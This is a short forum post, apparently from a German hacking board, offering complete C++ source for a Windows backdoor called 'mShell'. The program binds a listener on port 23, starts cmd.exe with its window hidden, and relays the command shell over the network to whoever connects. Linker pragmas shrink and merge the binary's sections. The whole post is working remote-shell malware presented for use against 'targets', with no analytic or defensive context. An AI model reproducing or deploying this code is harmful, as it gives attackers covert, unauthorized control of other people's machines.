[C++] RemoteShell für WinO/S-Targets

[hersch24]

//mShell by D-oNe, All WIN*, based on code by Delikon

#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/ENTRY:EntryPoint")
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/MERGE:.reloc=.data")
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(linker,"/subsystem:windows")

#include <windows.h>
#include <winsock.h>

const int port = 23;

void Shell(int port)
{
WSADATA wsadata;
SOCKET shellsock, sendsock;
SOCKADDR_IN sin;
HANDLE hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2;
char szBuffer[4096], szCmdPath[MAX_PATH];
int i, count = 0;
DWORD lpNumberOfBytesRead;
SECURITY_ATTRIBUTES secu =
{
(DWORD)sizeof(SECURITY_ATTRIBUTES), NULL, TRUE
};
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
WSAStartup(MAKEWORD(2,2), &wsadata);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
i = sizeof (sin);
shellsock = socket (AF_INET, SOCK_STREAM, 0);
bind(shellsock, (SOCKADDR *)&sin, sizeof(sin));
listen(shellsock, 0);
sendsock = accept(shellsock,(SOCKADDR *)&sin, &i);
if (sendsock == INVALID_SOCKET) ExitProcess(0);
CreatePipe(&hPipeRead1, &hPipeWrite1, &secu, 0);
CreatePipe(&hPipeRead2, &hPipeWrite2, &secu, 0);
GetEnvironmentVariable("ComSpec", szCmdPath, sizeof(szCmdPath));
memset(&sInfo, 0, sizeof(sInfo));
memset(&pInfo, 0, sizeof(pInfo));
sInfo.cb=sizeof (STARTUPINFO);
sInfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHA NDLES;
sInfo.wShowWindow=SW_HIDE;
sInfo.hStdInput = hPipeRead2;
sInfo.hStdOutput = hPipeWrite1;
sInfo.hStdError = hPipeWrite1;
CreateProcess(NULL, szCmdPath, &secu, &secu, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
while (sendsock != SOCKET_ERROR)
{
Sleep (100);
memset(szBuffer, 0, sizeof(szBuffer));
PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
while (lpNumberOfBytesRead)
{
Sleep (200);
if (!ReadFile(hPipeRead1, szBuffer, sizeof(szBuffer), &lpNumberOfBytesRead, NULL)) break;
else send(sendsock, szBuffer, lpNumberOfBytesRead, 0);
PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
}
Sleep (200);
i = recv (sendsock,szBuffer,sizeof(szBuffer),0);
if (sendsock == 0)
{
count++;
if (count > 1) break;
}
if (!strstr(szBuffer, "exit") == 0)
{
closesocket(sendsock);
closesocket(shellsock);
TerminateProcess(pInfo.hProcess, 0);
ExitProcess(0);
}
else WriteFile(hPipeWrite2, szBuffer, i, &lpNumberOfBytesRead, 0);
}
closesocket(sendsock);
closesocket(shellsock);
TerminateProcess(pInfo.hProcess, 0);
ExitProcess(0);
return;
}

void EntryPoint()
{
Shell(port);
}